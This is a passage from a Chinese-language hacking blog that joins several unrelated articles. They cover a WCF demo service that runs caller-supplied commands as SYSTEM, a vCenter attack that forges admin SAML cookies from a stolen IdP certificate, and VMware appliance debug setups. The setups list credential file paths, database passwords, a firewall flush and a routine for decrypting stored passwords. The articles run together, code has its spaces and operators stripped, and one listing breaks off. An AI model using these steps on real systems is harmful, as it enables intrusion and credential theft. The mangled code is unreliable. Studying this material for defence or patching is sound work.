Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863108959

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00 前言Windows Communication Foundation (WCF)是用於在.NET Framework中構建面向服務的應用程序的框架。本文將要介紹WCF開發的相關內容,為後續介紹的內容作鋪墊。

0x01 簡介本文將要介紹以下內容:

使用basicHttpBinding實現WCF

使用NetTcpBinding實現WCF

通過命令行實現WCF

通過IIS實現WCF

通過服務實現WCF

0x02 基礎知識參考資料:

https://docs.microsoft.com/en-us/dotnet/framework/wcf/whats-wcf

常用的傳輸協議:

HTTP,http://localhost:8080/

TCP,net.tcp://localhost:8080/

IPC,net.pipe://localhost/

常用的Binding:

BasicHttpBinding

WSHttpBinding

NetTcpBinding

NetNamedPipeBinding

元數據發布(metadata exchange),簡稱MEX

WCF默認禁用MEX,這樣能夠避免數據洩露

本著逐步深入的原則,本系列文章選擇先介紹開啟MEX的用法,這樣能夠提高客戶端開發的效率,禁用MEX的用法將放在下篇文章進行介紹。

0x03 使用basicHttpBinding實現WCF本節採用命令行實現WCF的方式作為示例

開發工具:Visual Studio 2015

1.服務端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為basicHttpBindingWCFServer

(2)新建WCF服務

選擇Add-New Item.選擇WCF Service,名稱為Service1.cs

(3)修改service1.cs

添加DoWork的實現代碼,代碼示例:

image.png

(4)修改Program.cs

添加引用System.ServiceModel

添加啟動代碼,代碼示例:

image.png

(5)編譯運行

命令行輸出服務地址:http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/

服務地址也可以在工程中的App.config查看

(6)測試

此時開啟了MEX,可選擇以下方法進行測試:

通過瀏覽器訪問服務地址:http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/,能夠返回服務信息

使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/,調用DoWork(),此時服務端命令行輸出Run Server.DoWork(),方法調用成功

使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1//out:1.cs,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS

注:

App.config由Visual Studio自動生成,服務地址由App.config隨機指定,這裡也可以通過代碼的方式指定服務地址,不需要依賴App.config,方法如下:

Program.cs示例:

image.png

App.config示例:

image.png

2.客戶端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為basicHttpBindingWCFClient

(2)引用服務

選擇Add-Service Reference.

填入URL:http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/

(3)修改Program.cs

代碼示例:

image.png

(4)編譯運行

此時服務端命令行輸出Run Server.DoWork(),方法調用成功

0x04 使用NetTcpBinding實現WCF本節採用命令行實現WCF的方式作為示例

1.服務端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為NetTcpBindingWCFServer

(2)新建WCF服務

選擇Add-New Item.選擇WCF Service,名稱為Service1.cs

(3)修改service1.cs

添加DoWork的實現代碼,代碼示例:

image.png

(4)修改Program.cs

添加引用System.ServiceModel

添加啟動代碼,代碼示例:

image.png

(5)修改App.config

Line10: serviceMetadata httpGetEnabled='true' httpsGetEnabled='true' /

修改為: serviceMetadata httpGetEnabled='false' httpsGetEnabled='false' /

Line17: endpoint address='' binding='basicHttpBinding' contract='NetTcpBindingWCFServer.IService1'

修改為: endpoint address='' binding='netTcpBinding' contract='NetTcpBindingWCFServer.IService1'

Line22: endpoint address='mex' binding='mexHttpBinding' contract='IMetadataExchange' /

修改為: endpoint address='mex' binding='mexTcpBinding' contract='IMetadataExchange' /

Line25: add baseAddress='http://localhost:8733/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/' /

修改為: add baseAddress='net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/' /

完整代碼示例:

image.png

(6)編譯運行

命令行輸出服務地址:net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/

(7)測試

此時開啟了MEX,可選擇以下方法進行測試:

使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/,調用DoWork(),此時服務端命令行輸出Run Server.DoWork(),方法調用成功

使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1//out:1.cs,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS

2.客戶端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為NetTcpBindingWCFClient

方法同0x03中的2.客戶端編寫

0x05 通過IIS實現WCF本節僅以服務端編寫作為示例,客戶端編寫同命令行實現的方法一致

1.服務端編寫(1)新建項目

選擇Visual C#-WCF-WCF Service Library,名稱為WcfServiceLibrary1

(2)發布

選中項目,右鍵-Publish.設置Target location為c:\wcfdemo

(3)在IIS管理頁面下新建網站

設置以下參數:

Site name:wcfdemo

Physical path:c:\wcfdemo

IP address: All unassigned

Port:81

選中網站wcfdemo,進入Content View

選中WcfServiceLibrary1.Service1.svc,右鍵-Browse,得到URL:http://localhost:81/WcfServiceLibrary2.Service1.svc

(4)測試

此時開啟了MEX,可選擇以下方法進行測試:

通過瀏覽器訪問服務地址:http://localhost:81/WcfServiceLibrary2.Service1.svc,能夠返回服務信息

使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接http://localhost:81/WcfServiceLibrary2.Service1.svc,調用GetData(),獲得返回值,方法調用成功

使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe http://localhost:81/WcfServiceLibrary2.Service1.svc,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS

0x06 通過服務實現WCF本節僅以服務端編寫作為示例,客戶端編寫同命令行實現的方法一致

1.使用basicHttpBinding實現服務端

(1)新建項目

選擇Visual C#-Console Application,名稱為WCFService

(2)新建Windows Service

選擇Add-New Item.選擇Windows Service,名稱為Service1.cs

(3)設置服務信息

選中Service1.cs,右鍵-Add Installer

項目中自動創建ProjectInstaller.cs文件,該文件會添加倆個組件serviceProcessInstaller1和serviceInstaller1

選中serviceProcessInstaller1組件,查看屬性,設置account為LocalSystem

選中serviceInstaller1組件,查看屬性,設置ServiceName為VulServiceTest1

(4)編輯Program.cs

image.png

image.png

(5)啟動服務

編譯生成WCFService.exe

安裝服務:

image.png

啟動服務:

image.png

補充:卸載服務

image.png

(6)測試

此時開啟了MEX,可選擇以下方法進行測試:

通過瀏覽器訪問服務地址:http://localhost:1112/TestService,能夠返回服務信息

使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接http://localhost:1112/TestService,調用RunMe(),在str對應的Value輸入calc,執行後啟動system權限的calc,方法調用成功

使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe http://localhost:1112/TestService /out:1.cs,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS

2.使用NetTcpBinding實現服務端

方法同上,區別在於Program.cs,示例代碼如下:

image.png

image.png

注:

服務端設置了HttpGetUrl:http://localhost:1114/TestService

0x07 小結本文介紹了在啟用元數據發布(MEX)時WCF開發的相關內容,下一篇將要介紹關閉元數據發布(MEX)時WCF開發的相關內容。

0x00 前言我最近學到的一個利用方法:在vCenter上使用管理員權限,從/storage/db/vmware-vmdir/data.mdb提取IdP證書,為管理員用戶創建SAML請求,最後使用vCenter server進行身份驗證並獲得有效的管理員cookie。

直觀理解:從vCenter本地管理員權限到VCSA管理面板的管理員訪問權限。

學習資料:

https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/

https://github.com/horizon3ai/vcenter_saml_login

本文將要在學習資料的基礎上,完善代碼,增加通用性,結合利用思路給出防禦建議。

0x01 簡介本文將要介紹以下內容:

方法復現

腳本優化

利用思路

防禦建議

0x02 方法復現在Kali系統下進行測試

安裝Openssl:

aptinstallpython3-openssl1.從vCenter獲得數據庫文件路徑:/storage/db/vmware-vmdir/data.mdb

需要vCenter管理員權限

2.運行腳本下載地址:

https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py

命令參數示例:

python3./vcenter_saml_login.py-t192.168.1.1-pdata.mdb命令行返回結果:

JSESSIONID=XX533CDFA344DE842517C943A1AC76113.登錄VCSA管理面板訪問https://192.168.1.1/ui

設置Cookie: JSESSIONID=XX533CDFA344DE842517C943A1AC7611

成功以管理員身份登錄管理面板

0x03 腳本優化通常data.mdb的大小至少為20MB

為了減少交互流量,選擇將vcenter_saml_login.py修改成能夠直接在vCenter下使用

注:

vCenter默認安裝Python

在腳本修改上具體需要考慮以下問題:

1.去掉引用第三方包bitstring我採用的方式是將第三方包bitstring的內容進行精簡,直接插入到Python腳本中

2.避免使用f-字符串格式化Python3.6新增了一種f-字符串格式化

vCenter 6.7的版本為Python 3.5.6,不支持格式化的字符串文字前綴為”f”

我採用的方式是使用format實現格式化字符串

例如:

cn=stream.read(f'bytes:{cn_len}').decode()替換為:

cn=stream.read('bytes:{}'.format(cn_len)).decode()完整代碼已上傳至Github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py

vCenter_ExtraCertFromMdb.py可上傳至vCenter後直接執行,執行後會得到以下四個重要的參數:

domain,在命令行顯示

idp_cert,保存為idp_cert.txt

trusted_cert_1,保存為trusted_cert_1.txt

trusted_cert_2,保存為trusted_cert_2.txt

接下來,可在任意主機上為管理員用戶創建SAML請求,使用vCenter server進行身份驗證並獲得有效的管理員cookie,完整代碼已上傳至Github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py

參數說明如下:

target: VCSA管理面板的URL

hostname: 對應VCSA管理面板的證書Subject屬性中的CN

domain: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得

idp_cert path: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得

trusted_cert_1 path: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得

trusted_cert_2 path: 可以使用vCenter_ExtraCertFromMdb.py從data.mdb中獲得

0x04 利用思路1.從vCenter本地管理員權限到VCSA管理面板的管理員訪問權限前提:通過漏洞獲得了vCenter本地管理員權限

利用效果:

獲得VCSA管理面板的管理員訪問權限,能夠同vCenter可管理的虛擬機進行交互

注:

此時還可以通過《vSphere开发指南5——LDAP》 中介紹的方法通過LDAP數據庫添加管理員用戶,進而同vCenter可管理的虛擬機進行交互

2.從vCenter備份文件中得到data.mdb前提:需要獲得正確的data.mdb文件

利用效果:

獲得VCSA管理面板的管理員訪問權限,能夠同vCenter可管理的虛擬機進行交互

0x05 防禦建議1.更新補丁,避免攻擊者獲得vCenter本地管理員權限

2.避免在用的vCenter備份文件洩露

0x06 小結本文介紹了vcenter_saml_login的優化思路,增加通用性,結合利用思路給出防禦建議。

0x00 前言本文記錄從零開始搭建vRealize Operations Manager漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

vRealize Operations Manager安裝

vRealize Operations Manager漏洞調試環境配置

常用知識

0x02 vRealize Operations Manager安裝參考資料:

https://docs.vmware.com/cn/vRealize-Operations/8.6/com.vmware.vcom.vapp.doc/GUID-69F7FAD8-3152-4376-9171-2208D6C9FA3A.html

1.下載OVA文件下載頁面:

https://my.vmware.com/group/vmware/patch

下載前需要先註冊用戶,之後選擇需要的版本進行下載

選擇產品vRealize Operations Manager,需要注意pak文件為升級包,這裡選擇ova文件進行下載,如下圖

470e3b24a4fa22ed25accee854bfd13.png

經過篩選,只有版本vROps-8.3.0-HF2帶有ova文件,其他都是pak文件

2.安裝(1)在VMware Workstation中導入OVA文件

配置頁面中選擇Remote Collecto(Standard),如下圖

d0470e08f1149c41824f70d1e940767.png

等待OVA文件導入完成後,將會自動開機進行初始化,初始化完成後如下圖

0276921e06921030d2a1fb014b3b149.png

(2)配置

訪問配置頁面https://192.168.1.103/

選擇快速安裝EXPRESS INSTALLATION

設置admin口令

3.設置root用戶口令在虛擬機中選擇Login,輸入root,設置root用戶初始口令

4.啟用遠程登錄以root身份執行命令:

service sshd start

5.開啟遠程調試功能(1)查看所有服務的狀態

systemctl status

結果如下圖

3b07cdfda1d0ff8e53a960943bb3b71.png

定位到web相關的服務為vmware-casa.service

(2)查看vmware-casa.service的具體信息

systemctl status vmware-casa.service

結果如下圖

定位出加載的文件/usr/lib/vmware-casa/bin/vmware-casa.sh,查看文件內容並進一步分析後可定位出需要的配置文件/usr/lib/vmware-casa/casa-webapp/bin/setenv.sh

(3)添加調試參數

在變量JVM_OPTS中添加調試參數:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000

(4)重啟服務

service vmware-casa restart

(5)查看調試參數是否更改:

ps -aux |grep vmware-casa

如下圖

4d4d934869531ec922254794f3c0309.png

(6)打開防火牆

這裡選擇清空防火牆規則:iptables -F

(7)使用IDEA設置遠程調試參數

IDEA的完整配置方法可參考之前的文章《Zimbra漏洞调试环境搭建》

0x03 常用知識1.常用路徑web目錄: /usr/lib/vmware-casa/casa-webapp/webapps/

日誌路徑: /storage/log/vcops/log/cas

admin用戶的口令hash: /storage/vcops/user/conf/adminuser.properties

數據庫口令位置: /var/vmware/vpostgres/11/.pgpass

2.數據庫連接數據庫口令內容示例:

localhost:5432:vcopsdb:vcops:J//mJcgppVIuGgzEuKIHGee9

localhost:5433:vcopsdb:vcops:keoMG4cmN+0jyD+7NAoED1HV

localhost:5433:replication:vcopsrepl:keoMG4cmN+0jyD+7NAoED1HV連接數據庫1:

/opt/vmware/vpostgres/11/bin/psql-hlocalhost-p5432-dvcopsdb-Uvcops

J//mJcgppVIuGgzEuKIHGee9連接數據庫2:

/opt/vmware/vpostgres/11/bin/psql-hlocalhost-p5433-dvcopsdb-Uvcops

keoMG4cmN+0jyD+7NAoED1HV連接數據庫3:

/opt/vmware/vpostgres/11/bin/psql-hlocalhost-p5433-dreplication-Uvcopsrepl

keoMG4cmN+0jyD+7NAoED1HV3.版本識別識別方法:

通過api接口獲得配置信息,在配置信息中導出詳細的版本信息

訪問URL: https://ip /suite-api/docs/wadl.xml

回顯的數據為xml格式,在getCurrentVersionOfServer中會包含版本信息,如下圖

9ef0491a4f7ea3f3cb2709c45b37f77.png

Python實現細節:

由於回顯的數據為xml格式,存在轉義字符,在解析時首先處理轉義字符

示例代碼:

defescape(_str):

_str=_str.replace('','')

_str=_str.replace('','')

_str=_str.replace('','')

_str=_str.replace(''','\'')

return_str使用re進行字符串匹配時,由於數據跨行,需要加上參數re.MULTILINE|re.DOTALL

示例代碼:

pattern_data=re.compile(r'getCurrentVersionOfServer(.*?)/ns2:doc',re.MULTILINE|re.DOTALL)

versiondata=pattern_data.findall(escape(res.text))完整代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/vRealizeOperationsManager_GetVersion.py

0x04 小結在我們搭建好vRealize Operations Manager漏洞調試環境後,接下來就可以著手對漏洞進行學習。

0x00 前言本文記錄從零開始搭建vRealize Log Insight漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

vRealize Log Insight安裝

vRealize Log Insight漏洞調試環境配置

數據庫操作

0x02 vRealize Log Insight安裝參考資料:https://docs.vmware.com/en/vRealize-Log-Insight/index.html

1.下載OVA文件下載頁面:https://customerconnect.vmware.com/evalcenter?p=vr-li

下載前需要先註冊用戶,之後選擇需要的版本進行下載

2.安裝(1)在VMware Workstation中導入OVA文件

(2)配置

訪問配置頁面https://

選擇Starting New Deployment,設置admin用戶口令

3.開啟遠程調試功能(1)查看所有服務的狀態

1.png結果如下圖

下载.png

定位到web相關的服務為loginsight.service

(2)查看loginsight.service的具體信息

2.png

結果如下圖

3.png

定位到服務啟動文件:/usr/lib/loginsight/application/bin/loginsight

(3)查看進程參數

執行命令:ps aux|grep java

返回結果:

4.png 5.png 6.png 7.png結果分析如下:

8.png 9.png

0x03 數據庫操作1.重置web登陸用戶admin口令實現文件:/usr/lib/loginsight/application/sbin/li-reset-admin-passwd.sh

從文件中可以獲得數據庫操作的相關信息,如下圖

下载 (1).png

2.連接數據庫的命令參數實現文件:/usr/lib/loginsight/application/lib/apache-cassandra-3.11.11/bin/cqlsh-no-pass

文件內容如下:

10.png 11.png 12.png

3.連接數據庫的用戶名口令13.png

4.連接數據庫的配置信息14.png

(1)使用封裝好參數的文件

15.png

(2)使用參數連接

16.png

從返回結果可以看到數據庫使用了CQL(Cassandra Query Language)

查詢用戶配置的命令:

17.png

5.界面化操作數據庫18.png 下载 (2).png

0x04 小結在我們搭建好vRealize Log Insight漏洞調試環境後,接下來就可以著手對漏洞進行學習。

0x00 前言在上篇文章《VMware Workspace ONE Access漏洞调试环境搭建》 提到連接數據庫的口令加密保存在文件/usr/local/horizon/conf/runtime-config.properties中,本文將要基於調試環境,分析加密流程,介紹詳細的解密方法。

0x01 簡介本文將要介紹以下內容

加密流程

解密方法

數據庫操作

0x02 加密流程1.定位關鍵文件經過一段時間的尋找,找到實現加密功能對應的文件為/opt/vmware/certproxy/lib/horizon-config-encrypter-0.15.jar

反編譯獲得加密的實現代碼如下:

publicfinalStringencrypt(byte[]data){

if(data!=nulldata.length!=0){

if(!this.getKeyMgmt().randomKeyEnabled()!this.getKeyMgmt().customKeysAvailable()){

log.error('Nocustomencryptionkeysavailable,abortingencrypt.');

returnnull;

}else{

CipherencryptCipher=this.getEncryptCipher();

try{

if(encryptCipher!=null){

byte[]utf8=ArrayUtils.addAll(encryptCipher.getIV(),encryptCipher.doFinal(data));

ByteBufferkeyBuffer=ByteBuffer.allocate(2);

keyBuffer.putShort(this.getKeyMgmt().getCurrentKey());

utf8=ArrayUtils.addAll(keyBuffer.array(),utf8);

utf8=ArrayUtils.insert(0,utf8,newbyte[]{(byte)this.getKeyMgmt().getCurrentCipherVersion()});

byte[]dec=Base64.encodeBase64(utf8);

returnnewString(dec,StandardCharsets.US_ASCII);

}

}catch(IllegalBlockSizeException|IllegalStateException|BadPaddingExceptionvar6){

log.error(var6.getMessage(),var6);

}

returnnull;

}

}else{

returnnull;

}

}2.動態調試

為了提高分析效率,採取動態調試的方法,流程如下:

(1)新建Java工程

下載VMware Workspace ONE Accessd服務器中/opt/vmware/certproxy/lib/下的所有jar文件並保存,在Java工程導入以上jar文件

新建package:com.vmware.horizon.common.utils.config

新建文件ConfigEncrypterImpl.java,內容如下:

packagecom.vmware.horizon.common.utils.config;

importcom.google.common.annotations.VisibleForTesting;

importcom.vmware.horizon.api.ConfigEncrypter;

importcom.vmware.horizon.random.SecureRandomUtils;

importcom.vmware.horizon.security.SecurityProviderHelper;

importjava.nio.ByteBuffer;

importjava.nio.charset.Charset;

importjava.nio.charset.StandardCharsets;

importjava.security.InvalidAlgorithmParameterException;

importjava.security.InvalidKeyException;

importjava.security.NoSuchAlgorithmException;

importjava.security.SecureRandom;

importjavax.annotation.Nonnull;

importjavax.annotation.Nullable;

importjavax.crypto.BadPaddingException;

importjavax.crypto.Cipher;

importjavax.crypto.IllegalBlockSizeException;

importjavax.crypto.NoSuchPaddingException;

importjavax.crypto.SecretKey;

importjavax.crypto.spec.IvParameterSpec;

importjavax.crypto.spec.SecretKeySpec;

importorg.apache.commons.codec.binary.Base64;

importorg.apache.commons.lang3.ArrayUtils;

importorg.apache.commons.lang3.StringUtils;

importorg.bouncycastle.crypto.fips.FipsUnapprovedOperationError;

importorg.slf4j.Logger;

importorg.slf4j.LoggerFactory;

publicclassConfigEncrypterImplimplementsConfigEncrypter{

publicstaticfinalCharsetencodingCharset;

privatestaticfinalLoggerlog;

privatestaticfinalSecureRandomsrand;

privatestaticConfigEncrypterImplstaticKeyInstance;

privatestaticfinalConfigEncrypterImplrandomKeyInstance;

privatestaticfinalObjectkeyInstanceLock;

privateConfigEncrypterKeyMgmtkeyMgmt;

privatestaticConfigEncrypterImplcreateRandomKeyInstance(){

SecurityProviderHelper.initializeSecurityProvider();

returnnewConfigEncrypterImpl(false);

}

publicstaticConfigEncrypterImplgetInstance(){

synchronized(keyInstanceLock){

if(staticKeyInstance==null){

staticKeyInstance=newConfigEncrypterImpl(true);

}

returnstaticKeyInstance;

}

}

publicstaticConfigEncrypterImplgetRandomKeyInstance(){

returnrandomKeyInstance;

}

privateConfigEncrypterImpl(booleanuseStaticKey){

if(useStaticKeyBoolean.parseBoolean(ConfigPropertiesUtil.getProperties().getProperty('components.configEncrypter.kms.enable'))){

log.info('Notinitializingstaticconfigkeystore.UsingKMSforsecureconfigproperties');

this.keyMgmt=null;

}else{

this.keyMgmt=newConfigEncrypterKeyMgmt(useStaticKey);

}

}

@VisibleForTesting

ConfigEncrypterImpl(ConfigEncrypterKeyMgmtkeyMgmt){

this.keyMgmt=keyMgmt;

}

@Nullable

publicfinalStringdecrypt(Stringdata){

if(StringUtils.isBlank(data)){

returnnull;

}else{

byte[]encrypted=data.getBytes(encodingCharset);

booleanb64;

try{

b64=Base64.isBase64(encrypted);

}catch(ArrayIndexOutOfBoundsExceptionvar11){

b64=false;

}

if(b64){

encrypted=Base64.decodeBase64(encrypted);

}

if(ArrayUtils.isEmpty(encrypted)){

returnnull;

}else{

intcipherVersion=Math.abs(encrypted[0]);

CipherdecryptCipher=null;

if(cipherVersion=this.getKeyMgmt().getMinCipherVersion()cipherVersion0){

returnnewString(utf8,encodingCharset);

}

log.debug('zerolengthdecryption');

}catch(BadPaddingExceptionvar7){

log.debug('Failedtodecryptthegivenvalue(padding)');

}catch(IllegalBlockSizeExceptionvar8){

log.debug('Failedtodecryptthegivenvalue(blocksize)');

}catch(ArrayIndexOutOfBoundsExceptionvar9){

log.debug('Failedtodecryptthegivenvalue(macverification)');

}catch(IllegalStateExceptionvar10){

log.debug('Failedtodecryptthegivenvalue(illegalstate)');

}

}

returnnull;

}

}

}

@Nullable

publicfinalStringencrypt(@NonnullStringdata){

returnStringUtils.isBlank(data)?null:this.encrypt(data.getBytes(encodingCharset));

}

@Nullable

publicfinalStringencrypt(byte[]data){

if(data!=nulldata.length!=0){

if(!this.getKeyMgmt().randomKeyEnabled()!this.getKeyMgmt().customKeysAvailable()){

log.error('Nocustomencryptionkeysavailable,abortingencrypt.');

returnnull;

}else{

CipherencryptCipher=this.getEncryptCipher();

try{

if(encryptCipher!=null){

byte[]utf8=ArrayUtils.addAll(encryptCipher.getIV(),encryptCipher.doFinal(data));

ByteBufferkeyBuffer=ByteBuffer.allocate(2);

keyBuffer.putShort(this.getKeyMgmt().getCurrentKey());

utf8=ArrayUtils.addAll(keyBuffer.array(),utf8);

utf8=ArrayUtils.insert(0,utf8,newbyte[]{(byte)this.getKeyMgmt().getCurrentCipherVersion()});

byte[]dec=Base64.encodeBase64(utf8);

returnnewString(dec,StandardCharsets.US_ASCII);

}

}catch(IllegalBlockSizeException|IllegalStateException|BadPaddingExceptionvar6){

log.error(var6.getMessage(),var6);

}

returnnull;

}

}else{

returnnull;

}

}

@Nullable

privateCiphergetDecryptCipher(intcipherVersion,byte[]decryptionKey,byte[]iv){

CipherdecryptCipher=null;

if(!ArrayUtils.isEmpty(iv)){

try{

decryptCipher=Cipher.getInstance(this.getKeyMgmt().getCipher(cipherVersion),SecurityProviderHelper.getJceProvider());

IvParameterSpecivSpec=newIvParameterSpec(ArrayUtils.subarray(iv,0,this.getKeyMgmt().getCipherNonceSize(cipherVersion,decryptCipher.getBlockSize())));

SecretKeysecret=newSecretKeySpec(decryptionKey,this.getKeyMgmt().getCipher(cipherVersion));

decryptCipher.init(2,secret,ivSpec,srand);

}catch(InvalidAlgorithmParameterException|InvalidKeyException|NoSuchAlgorithmException|NoSuchPaddingException|IllegalArgumentException|FipsUnapprovedOperationErrorvar7){

log.error(var7.getMessage(),var7);

decryptCipher=null;

}

}

returndecryptCipher;

}

@Nullable

privateCiphergetEncryptCipher(){

CipherencryptCipher=null;

try{

encryptCipher=Cipher.getInstance(this.getKeyMgmt().getCipher(),SecurityProviderHelper.getJceProvider());

byte[]iv=newbyte[this.getKeyMgmt().getCipherNonceSize(encryptCipher.getBlockSize())];

srand.nextBytes(iv);

SecretKeysecret=newSecretKeySpec(this.getKeyMgmt().getKey(),this.getKeyMgmt().getCipher());

IvParameterSpecivSpec=newIvParameterSpec(iv);

encryptCipher.init(1,secret,ivSpec,srand);

}catch(InvalidAlgorithmParameterException|IllegalArgumentException|NoSuchPaddingException|NoSuchAlgorithmException|InvalidKeyException|FipsUnapprovedOperationErrorvar5){

log.error(var5.getMessage(),var5);

}

returnencryptCipher;

}

@VisibleForTesting

ConfigEncrypterKeyMgmtgetKeyMgmt(){

returnthis.keyMgmt;

}

@VisibleForTesting

publicvoidsetCustomEncryptionKeyst

0x00 前言本文記錄從零開始搭建VMware Workspace ONE Access漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

VMware Workspace ONE Access安裝

VMware Workspace ONE Access漏洞調試環境配置

常用知識

0x02 VMware Workspace ONE Access安裝參考資料:

https://docs.vmware.com/en/VMware-Workspace-ONE-Access/20.01/workspace_one_access_install.pdf

1.下載OVA文件下載頁面:

https://customerconnect.vmware.com/downloads/search?query=workspace%20one%20access

下載前需要先註冊用戶,之後選擇需要的版本進行下載

VMware Workspace ONE Access 21.08.0.1的下載頁面:https://customerconnect.vmware.com/downloads/details?downloadGroup=WS1A_ONPREM_210801productId=1269

下載文件identity-manager-21.08.0.1-19010796_OVF10.ova

2.安裝(1)在VMware Workstation中導入OVA文件

注:

VMware Workstation版本需要大於14,否則報錯提示無法導入

在安裝頁面設置Host Name,如果配置了DHCP,其他選項不用設置,我的配置指定了靜態IP,配置如下圖

1eb1554038f954f18593eda0117e14a.png

等待OVA文件導入完成後,將會自動開機進行初始化,初始化完成後如下圖

c05e76989c4301eb8904c6b8a0794bf.png

(2)配置

修改本機的hosts文件,將192.168.1.11指向workspaceone.test.com

訪問配置頁面https://workspaceone.test.com:8443

設置admin、root和sshuser用戶的口令,口令需要包含大寫字母、小寫字母、數字和特殊字符

注:

我的測試結果顯示,口令長度需要設置為14,否則無法登陸root和sshuser用戶

我的測試環境設置口令為Password@12345,如下圖

0a0223ca5d50ac2ea6209d86f8ce493.png

設置數據庫,為了便於環境搭建,這裡選擇Internal Database

等待安裝完成,如下圖

2376b6d173df948781aeef019089ace.png

3.設置允許root用戶遠程登錄ssh

需要登錄VMware Workspace ONE Access,修改系統的配置文件,有以下兩種登錄方法:

(1)在虛擬機中直接登錄root用戶

選擇Login,輸入root和口令Password@12345

(2)通過ssh登錄sshuser用戶

登錄後再切換至root

切換至root用戶後,依次執行以下命令:

vi/etc/ssh/sshd_config設置PermitRootLogin從no變為yes

systemctlrestartsshd4.開啟遠程調試功能

修改文件:/opt/vmware/horizon/workspace/bin/setenv.sh

修改參數JVM_OPTS,添加參數:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000

如下圖

1f94ca59c082957e7eadefbd51e9fee.png

重新啟動系統

打開防火牆:iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT

IDEA設置遠程調試參數,如下圖

c24da3d796292bdf64d092b888e51fd.png

注:

IDEA的完整配置方法可參考之前的文章《Zimbra漏洞调试环境搭建》

0x03 常用知識1.常用命令

查看系統服務狀態: chkconfig --list

查看所有服務狀態: systemctl status

查看IP地址: ip addr show

查看Host Name: hostname

日誌路徑: /opt/vmware/horizon/workspace/logs/

2.查看系統版本

需要root權限執行命令: vamicli version --appliance

查看系統版本的實現細節:

#!/usr/bin/envpython2

importsys

sys.path.append('/opt/vmware/lib/python/site-packages/')

importpywbem

defgetCIMConnection(url,namespace):

cred={}

cred['cert_file']='/opt/vmware/etc/sfcb/client.pem'

cred['key_file']='/opt/vmware/etc/sfcb/file.pem'

cliconn=pywbem.WBEMConnection(url,None,namespace,cred)

returncliconn

defshowVersion():

try:

cliconn=getCIMConnection('https://localhost:5489','root/cimv2')

esis=cliconn.EnumerateInstances('VAMI_ElementSoftwareIdentity')

except:

print('error')

return

foresiinesis:

ess=esi['ElementSoftwareStatus']

if(ess==[2,6]):

inst=cliconn.GetInstance(esi['Antecedent'])

print('Version-'+inst['VersionString'])

print('Description-'+inst['Description'])

showVersion()需要root權限是因為訪問文件/opt/vmware/etc/sfcb/client.pem和/opt/vmware/etc/sfcb/file.pem需要root權限

3.數據庫連接口令

連接數據庫的明文口令位置為:/usr/local/horizon/conf/db.pwd

連接數據庫的口令加密保存在文件/usr/local/horizon/conf/runtime-config.properties中,文件內容示例:

datastore.jdbc.url=jdbc:postgresql://localhost/saas?stringtype=unspecified

datastore.jdbc.userName=horizon

secure.datastore.jdbc.password=BAACs8MW1xyMe7/8ONd2QwtG3mw37wF1/1pQ6D09xXqf56ncfRtCun6y8A1XFtjajhU60V1QNYnCOxk3t1m0dV0JvA==其中,BAACs8MW1xyMe7/8ONd2QwtG3mw37wF1/1pQ6D09xXqf56ncfRtCun6y8A1XFtjajhU60V1QNYnCOxk3t1m0dV0JvA==為加密口令

需要以下文件作為解密密鑰:

/usr/local/horizon/conf/configkeystore.pass

/usr/local/horizon/conf/configkeystore.bcfks4.數據庫中的加密信息

admin用戶的口令加密存儲在數據庫中

查詢命令:saas=SELECT 'passwordAuthData' FROM 'PasswordInformation';

查詢結果如下圖

加密的主要實現代碼1:

